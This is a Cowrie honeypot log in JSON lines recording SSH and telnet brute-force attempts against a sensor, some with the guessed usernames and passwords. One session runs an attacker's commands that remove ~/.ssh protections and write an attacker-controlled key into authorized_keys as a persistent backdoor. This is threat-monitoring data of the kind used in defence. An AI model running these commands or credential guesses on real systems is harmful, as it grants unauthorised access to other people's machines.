{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":35440,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ff93e5e548","protocol":"telnet","message":"New connection: 103.115.172.252:35440 (10.17.0.5:23) [session: 67ff93e5e548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:31.399380Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":51294,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a08c37b1a1","protocol":"telnet","message":"New connection: 103.82.231.165:51294 (10.17.0.5:23) [session: 10a08c37b1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:41.451174Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d46cec6519d","protocol":"telnet","message":"New connection: 103.115.172.252:40204 (10.17.0.5:23) [session: 1d46cec6519d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:42.109280Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":51296,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc010075bf57","protocol":"telnet","message":"New connection: 103.82.231.165:51296 (10.17.0.5:23) [session: fc010075bf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:48.704595Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":49780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff95e8c7732","protocol":"ssh","message":"New connection: 181.65.191.218:49780 (10.17.0.5:22) [session: 5ff95e8c7732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:59.611369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:59.616982Z","src_ip":"181.65.191.218","session":"5ff95e8c7732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:59.728206Z","src_ip":"181.65.191.218","session":"5ff95e8c7732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazxdr5","message":"login attempt [admin/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:00.201473Z","src_ip":"181.65.191.218","session":"5ff95e8c7732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:01.321306Z","src_ip":"181.65.191.218","session":"5ff95e8c7732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53730,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb0409ac71e","protocol":"ssh","message":"New connection: 194.59.206.2:53730 (159.203.135.109:22) [session: 0eb0409ac71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:06.265019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:06.269759Z","src_ip":"194.59.206.2","session":"0eb0409ac71e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:06.359732Z","src_ip":"194.59.206.2","session":"0eb0409ac71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:06.455238Z","src_ip":"194.59.206.2","session":"0eb0409ac71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.09716200828552,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:14.263860Z","src_ip":"185.26.126.47","session":"08553d300dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.92029166221619,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:14.319577Z","src_ip":"103.115.172.252","session":"67ff93e5e548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.43118596076965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:17.882235Z","src_ip":"103.82.231.165","session":"10a08c37b1a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2890567779541,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:24.993542Z","src_ip":"103.82.231.165","session":"fc010075bf57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.7140851020813,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:27.823199Z","src_ip":"103.115.172.252","session":"1d46cec6519d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":33170,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ccea7144567","protocol":"telnet","message":"New connection: 103.82.231.165:33170 (10.17.0.5:23) [session: 7ccea7144567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:22:48.455930Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea986ebc2435","protocol":"telnet","message":"New connection: 185.26.126.47:58508 (159.203.135.109:23) [session: ea986ebc2435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:02.337729Z"}
{"eventid":"cowrie.session.closed","duration":120.00139927864075,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:07.723021Z","src_ip":"98.51.244.245","session":"6e1fb420edd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00196313858032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:08.771328Z","src_ip":"98.51.244.245","session":"eb0bc2c03c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":57553,"dst_ip":"159.203.135.109","dst_port":23,"session":"8505c9f07e43","protocol":"telnet","message":"New connection: 98.51.244.245:57553 (159.203.135.109:23) [session: 8505c9f07e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:09.226598Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":57645,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3b4d948504b","protocol":"telnet","message":"New connection: 98.51.244.245:57645 (159.203.135.109:23) [session: c3b4d948504b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:10.580975Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":58992,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b7b57291fa","protocol":"ssh","message":"New connection: 181.65.191.218:58992 (10.17.0.5:22) [session: d1b7b57291fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:12.305181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:12.310368Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:12.426811Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12#$","message":"login attempt [oracle/oracle12#$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:12.947082Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.224754Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.227997Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.231781Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.352131Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.622738Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.626005Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":57858,"dst_ip":"159.203.135.109","dst_port":23,"session":"0680c70a918f","protocol":"telnet","message":"New connection: 98.51.244.245:57858 (159.203.135.109:23) [session: 0680c70a918f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.633939Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.747079Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.751019Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":59008,"dst_ip":"10.17.0.5","dst_port":22,"session":"c15abf2f04bc","protocol":"ssh","message":"New connection: 181.65.191.218:59008 (10.17.0.5:22) [session: c15abf2f04bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.849344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.854800Z","src_ip":"181.65.191.218","session":"c15abf2f04bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:13.965958Z","src_ip":"181.65.191.218","session":"c15abf2f04bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:14.442261Z","src_ip":"181.65.191.218","session":"c15abf2f04bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:15.556610Z","src_ip":"181.65.191.218","session":"c15abf2f04bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":59016,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff43e1c6e50","protocol":"ssh","message":"New connection: 181.65.191.218:59016 (10.17.0.5:22) [session: aff43e1c6e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:15.668708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:15.673769Z","src_ip":"181.65.191.218","session":"aff43e1c6e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:15.792783Z","src_ip":"181.65.191.218","session":"aff43e1c6e50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:16.278313Z","src_ip":"181.65.191.218","session":"aff43e1c6e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:16.395656Z","src_ip":"181.65.191.218","session":"aff43e1c6e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:16.401594Z","src_ip":"181.65.191.218","session":"d1b7b57291fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.488449811935425,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:16.826077Z","src_ip":"185.26.126.47","session":"ea986ebc2435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.10762572288513,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:23:21.563458Z","src_ip":"103.82.231.165","session":"7ccea7144567","protocol":"telnet"}
